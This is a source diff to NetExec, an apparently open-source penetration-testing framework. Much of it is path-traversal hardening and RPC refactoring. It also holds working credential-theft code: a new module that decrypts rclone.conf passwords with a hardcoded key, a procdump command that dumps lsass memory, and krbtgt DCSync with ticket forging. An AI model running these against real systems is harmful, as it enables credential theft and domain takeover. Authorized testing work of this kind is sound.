self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
+8 -3
View File
@@ -1,7 +1,9 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -36,9 +38,12 @@ class NXCModule:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+9 -4
View File
@@ -1,9 +1,11 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
import re
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
@@ -37,7 +39,7 @@ class NXCModule:
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
def options(self, context, module_options):
"""KILL // Kill for notepad.exe process. Default False."""
"""KILL Kill for notepad.exe process. Default: False"""
if "KILL" not in module_options:
self.kill = False
else:
@@ -161,9 +163,12 @@ class NXCModule:
content_lines.append(string) # Store the string value only
# Save to file
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
export_path = join(NXC_PATH, "modules", "notepad")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
with open(path, "w+") as output_file:
+2 -2
View File
@@ -519,10 +519,10 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
+3 -1
View File
@@ -10,7 +10,7 @@ class NXCModule:
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
name = "ntlm_reflection"
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
description = "[REMOVED] This module has been integrated into the enum_cve module."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -47,6 +47,8 @@ class NXCModule:
return ubr < min_patched_ubr
def on_login(self, context, connection):
context.log.fail("[REMOVED] This module has been integrated into the enum_cve module.")
return
self.context = context
self.connection = connection
connection.trigger_winreg()
+3 -1
View File
@@ -1,7 +1,9 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from os.path import join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import socket
@@ -71,7 +73,7 @@ class NXCModule:
if answers:
obsolete_hosts_count = len(answers)
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
with open(filename, "w") as f:
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
+85
View File
@@ -0,0 +1,85 @@
from nxc.helpers.misc import CATEGORY
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.smbconnection import SessionError
from configparser import ConfigParser
class NXCModule:
"""Module by @NeffIsBack
Based on the paper "Onelogon: Taking over Active Directory Accounts via Netlogon": https://softsec.rub.de/files/pdf/woot2026-onelogon.pdf
"""
name = "onelogon"
description = "Scan GPOs and registry for machine accounts vulnerable to Onelogon"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
def output_callback(data):
self.gpo_data += data
found_dacls = []
policies = connection.conn.listPath("SYSVOL", f"{connection.targetDomain}/Policies/*")
for policy in policies:
# Skip "." and ".." directory pointers to avoid path errors
if policy.get_longname() in [".", ".."]:
continue
try:
self.gpo_data = b""
connection.conn.getFile("SYSVOL", f"{connection.targetDomain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
try:
decoded_data = self.gpo_data.decode("utf-8")
except UnicodeDecodeError:
context.log.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
decoded_data = self.gpo_data.decode("utf-16")
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
# "WinRM",2,""
# which require allow_no_value=True to avoid ParsingError.
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
config_parser.read_string(decoded_data)
for section in config_parser.sections():
for key, value in config_parser.items(section):
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
context.log.debug(f"Found vulnerable channel allow list: {value}")
try:
# Strip the surrounding double quotes from the extracted string
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
except Exception as e:
context.log.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
except SessionError as e:
# Catch and safely ignore expected "file not found" errors for policies without security settings
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
pass
else:
context.log.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
except Exception as e:
context.log.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
if found_dacls:
context.log.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
for dacl in found_dacls:
context.log.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
else:
context.log.error("No matching policies found in SYSVOL Share.")
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
context.log.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
except Exception as e:
context.log.error(f"Error while querying registry: {e}")
+8 -3
View File
@@ -1,6 +1,8 @@
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from io import BytesIO
@@ -46,9 +48,12 @@ class NXCModule:
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+54 -20
View File
@@ -1,9 +1,11 @@
import os
from pathlib import Path
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
@@ -19,17 +21,28 @@ class NXCModule:
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""No options available"""
"""
ALL Attempt to authenticate for every computer object in the domain (default: False)
Examples:
nxc ldap $IP -u $USER -p $PASSWORD -M pre2k
nxc ldap $IP -u $USER -p $PASSWORD -M pre2k -o ALL=True
"""
self.all_option = module_options.get("ALL", "").lower() in ["true", "1", "yes"]
def on_login(self, context, connection):
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
# Define the search filter
if self.all_option:
search_filter = "(&(objectClass=computer))"
else:
search_filter = "(&(objectClass=computer)(userAccountControl=4128))" # 4128 = 4096 (WORKSTATION_TRUST_ACCOUNT) | 32 (WORKSTATION_TRUST_ACCOUNT)
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
computers = []
computers = {}
try:
# Use paged search to retrieve all computer accounts with specific flags
@@ -39,27 +52,39 @@ class NXCModule:
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
computers[computer["sAMAccountName"]] = computer["userAccountControl"]
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
with open(output_file_pre2k, "w") as pre2k_file, open(output_file_non_pre2k, "w") as non_pre2k_file:
for computer, uac in computers.items():
if int(uac) == 4128:
pre2k_file.write(f"{computer}\n")
else:
non_pre2k_file.write(f"{computer}\n")
# Print discovered pre-created computer accounts
# Print discovered (pre-created) computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
for computer, uac in computers.items():
if int(uac) == 4128:
context.log.highlight(f"Pre-created computer account: {computer}")
else:
context.log.debug(f"Computer account: {computer}")
counter_pre2k = len([v for v in computers.values() if int(v) == 4128])
counter_non_pre2k = len([v for v in computers.values() if int(v) != 4128])
if counter_pre2k != 0:
context.log.success(f"Found {counter_pre2k} pre-created computer accounts. Saved to {output_file_pre2k}")
if counter_non_pre2k != 0:
context.log.success(f"Found {counter_non_pre2k} normal computer accounts. Saved to {output_file_non_pre2k}")
else:
context.log.info("No pre-created computer accounts found.")
@@ -76,7 +101,7 @@ class NXCModule:
# Summary of TGT results
if successful_tgts > 0:
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
context.log.success(f"Successfully obtained TGT for {successful_tgts} (pre-created) computer accounts. Saved to {ccache_base_dir}")
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
@@ -101,14 +126,23 @@ class NXCModule:
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
return True
except Exception as e:
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
if "KDC_ERR_PREAUTH_FAILED" in str(e):
if self.all_option:
context.log.debug(f"Failed to get TGT for {username}@{domain}: KDC_ERR_PREAUTH_FAILED")
else:
context.log.fail(f"Failed to get TGT for {username}@{domain}: KDC_ERR_PREAUTH_FAILED")
else:
context.log.fail(f"Error obtaining TGT for {username}@{domain}: {e}")
return False
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
return
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
+59 -36
View File
@@ -1,10 +1,12 @@
import re
from impacket.dcerpc.v5 import samr, tsch, transport
from types import SimpleNamespace
from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from contextlib import suppress
import traceback
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -19,11 +21,46 @@ class NXCModule:
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""There are no module options."""
"""
ALTUSER Alternative domain user to enumerate admin groups with
ALTPASS Password for ALTUSER
ALTDOMAIN Domain FQDN of the alternative credentials
ALTDC DC IP
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
"""
self.altuser = module_options.get("ALTUSER")
self.altpass = module_options.get("ALTPASS")
self.altdomain = module_options.get("ALTDOMAIN")
self.altdc = module_options.get("ALTDC")
alt_creds = [self.altuser, self.altpass, self.altdomain]
if any(alt_creds) and not all(alt_creds):
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
return False
def on_admin_login(self, context, connection):
try:
admin_users = self.enumerate_admin_users(context, connection)
if self.altuser and self.altpass and self.altdomain:
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
alt_connection = SimpleNamespace(
username=self.altuser,
password=self.altpass,
domain=self.altdomain,
lmhash="",
nthash="",
aesKey=None,
kerberos=False,
kdcHost=self.altdc,
conn=None,
host=self.altdc,
remoteName=self.altdc,
port=445,
)
admin_users = self.enumerate_admin_users(context, alt_connection)
else:
admin_users = self.enumerate_admin_users(context, connection)
if not admin_users:
context.log.fail("No admin users found.")
return
@@ -39,36 +76,19 @@ class NXCModule:
context.log.fail(str(e))
context.log.debug(traceback.format_exc())
def get_dce_rpc(self, target, string_binding, dce_binding, connection):
# Create a DCE/RPC transport object with the specified string binding
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(target)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None):
return NXCRPCConnection(connection).connect(
named_pipe,
dce_binding,
target_ip=target_ip,
auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
# Connect to the DCE/RPC endpoint
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(dce_binding)
return dce
def enumerate_admin_users(self, context, connection):
admin_users = []
try:
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
except Exception as e:
context.log.fail(f"Failed to connect to SAMR: {e}")
context.log.debug(traceback.format_exc())
@@ -164,19 +184,23 @@ class NXCModule:
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
for process in processes:
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
info = process.getProcessInfo()
image_name = info["ImageName"].getValue()
pid = info["UniqueProcessId"]
session_id = info["SessionId"]
psid = process.getSid()
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
# Check if process SID matches any admin user SID
for user in admin_users:
if process["pSid"] == user["sid"]:
if psid == user["sid"]:
user["in_tasks"] = True
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
context.log.info(f"Matched process {image_name} with user {user['username']}")
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
try:
target = connection.remoteName if connection.kerberos else connection.host
stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]"
dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection)
dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection)
# Also extract non admins where we can get the password
self.non_admins = []
@@ -200,8 +224,7 @@ class NXCModule:
non_admin_sids.add(sid.group(1))
if non_admin_sids:
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
# Get Domain Handle
server_handle = samr.hSamrConnect2(dce)["ServerHandle"]
+4 -36
View File
@@ -1,17 +1,13 @@
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5 import rprn
from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
from nxc.helpers.misc import CATEGORY
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
class NXCModule:
"""
@@ -27,7 +23,6 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.__string_binding = None
self.port = None
def options(self, context, module_options):
@@ -37,35 +32,8 @@ class NXCModule:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]"
context.log.info(f"Binding to {stringbinding!r}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(target)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail(f"Failed to bind: {e}")
return False
+4
View File
@@ -66,6 +66,10 @@ class NXCModule:
# get pid lsass
context.log.display("Getting lsass PID")
p = connection.execute('tasklist /v /fo csv | findstr /i "lsass"', True)
if not p:
context.log.fail("Failed getting lsass.exe PID")
self.delete_procdump_binary(connection, context)
return
pid = p.split(",")[1][1:-1]
command = f"{self.tmp_dir}{self.procdump} -accepteula -ma {pid} {self.tmp_dir}%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
context.log.display(f"Executing command {command}")
+1 -1
View File
@@ -8,7 +8,7 @@ class NXCModule:
Module by @_sandw1ch
"""
name = "pso"
description = "Module to get the Fine Grained Password Policy/PSOs"
description = "[REMOVED] This module moved to the core option --pso"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
+6 -1
View File
@@ -6,8 +6,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from pathlib import Path
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import re
@@ -160,7 +162,10 @@ class NXCModule:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
continue
buf = BytesIO()
with open(download_path, "wb") as file:
+10 -34
View File
@@ -2,7 +2,6 @@ import os
import datetime
import re
from contextlib import suppress
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
from calendar import timegm
@@ -20,6 +19,7 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
# Encryption type configurations: enctype, checksum, signature size, session key size
ETYPE_CONFIG = {
@@ -49,7 +49,7 @@ class NXCModule:
self.krbtgt_hash = ""
self.aes128_key = ""
self.aes256_key = ""
self.etype = "rc4"
self.etype = "aes256"
def options(self, context, module_options):
"""
@@ -59,7 +59,7 @@ class NXCModule:
USER Target username to forge the ticket for (default: Administrator)
USER_ID RID used as the user ID in the PAC (default: 500)
RID RID used for the extra SID (default: 519 = Enterprise Admins)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
Examples:
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
@@ -69,7 +69,7 @@ class NXCModule:
"""
self.context = context
self.module_options = module_options
self.etype = module_options.get("ETYPE", "rc4").lower()
self.etype = module_options.get("ETYPE", "aes256").lower()
def on_admin_login(self, context, connection):
self.context = context
@@ -133,32 +133,6 @@ class NXCModule:
else:
self.context.log.fail("Could not retrieve child domain SID from connection.")
def _get_smb_session(self, ldap_conn):
smb = SMBConnection(
remoteName=ldap_conn.hostname,
remoteHost=ldap_conn.host,
sess_port=445,
)
if ldap_conn.kerberos:
smb.kerberosLogin(
user=ldap_conn.username,
password=ldap_conn.password,
domain=ldap_conn.domain,
lmhash=ldap_conn.lmhash,
nthash=ldap_conn.nthash,
aesKey=ldap_conn.aesKey,
kdcHost=ldap_conn.kdcHost,
useCache=ldap_conn.use_kcache,
)
elif ldap_conn.nthash or ldap_conn.lmhash:
# NTLM pass-the-hash
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
else:
# NTLM with cleartext password
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
return smb
def _get_domain_netbios(self, ldap_conn):
resp = ldap_conn.search(
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
@@ -225,11 +199,13 @@ class NXCModule:
def get_krbtgt_hash(self, connection):
try:
smb_conn = self._get_smb_session(connection)
self._dcsync_krbtgt(smb_conn, connection)
smb_conn = get_smb_connection(self.context, connection)
except Exception as e:
self.context.log.fail(f"Error during DCSync: {e}")
return
if not smb_conn:
return
self._dcsync_krbtgt(smb_conn, connection)
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
try:
@@ -300,7 +276,7 @@ class NXCModule:
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
kerbdata = KERB_VALIDATION_INFO()
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_utc = datetime.datetime.now(datetime.UTC)
now_unix = timegm(now_utc.timetuple())
now_filetime = self._getFileTime(now_unix)
@@ -451,7 +427,7 @@ class NXCModule:
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_utc = datetime.datetime.now(datetime.UTC)
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
enc_ticket_part = EncTicketPart()
+88
View File
@@ -0,0 +1,88 @@
import base64
from Cryptodome.Cipher import AES
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "rclone"
description = "Searches for rclone.conf and deobscures credentials"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No module options."""
def on_admin_login(self, context, connection):
self.share = "C$"
base_dir = "\\Users"
skip_dirs = {"Public", "Default", "Default User", "All Users"}
try:
entries = connection.conn.listPath(self.share, base_dir + "\\*")
except Exception as e:
context.log.fail(f"Failed to list {base_dir}: {e}")
return False
usernames = [
entry.get_longname()
for entry in entries
if entry.is_directory() and entry.get_longname() not in skip_dirs | {".", ".."}
]
if not usernames:
context.log.warning("No user directories found.")
return False
for username in usernames:
conf_path = f"\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf"
context.log.info(f"Trying to read: {self.share + conf_path}")
conf_data = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, conf_path, buf.write)
conf_data = buf.getvalue().decode()
except Exception:
context.log.info(f"[{username}] rclone.conf not found.")
continue
if "RCLONE_ENCRYPT_V0" in conf_data:
context.log.fail(f"[{username}] Encrypted config — skipping.")
continue
context.log.success(f"[{username}] rclone.conf found!")
for line in conf_data.splitlines():
line = line.strip()
if not line:
continue
if "=" not in line:
context.log.highlight(line.strip())
continue
key, val = map(str.strip, line.split("=", 1))
if key.lower() in ("pass", "password", "password2"):
try:
plain = self.deobscure(val)
context.log.highlight(f"{key} = {plain}")
except Exception as e:
context.log.warning(f"[{username}] Failed to deobscure {key}: {e}")
else:
context.log.highlight(line.strip())
return True
def deobscure(self, obscured):
encrypted_password = self.base64_urlsafedecode(obscured)
iv = encrypted_password[:AES.block_size]
buf = encrypted_password[AES.block_size:]
SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38"
crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"")
return crypter.decrypt(buf).decode("utf-8")
def base64_urlsafedecode(self, string):
padding = (4 - len(string) % 4) % 4
string += "=" * padding
return base64.urlsafe_b64decode(string)
+6 -33
View File
@@ -1,55 +1,28 @@
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
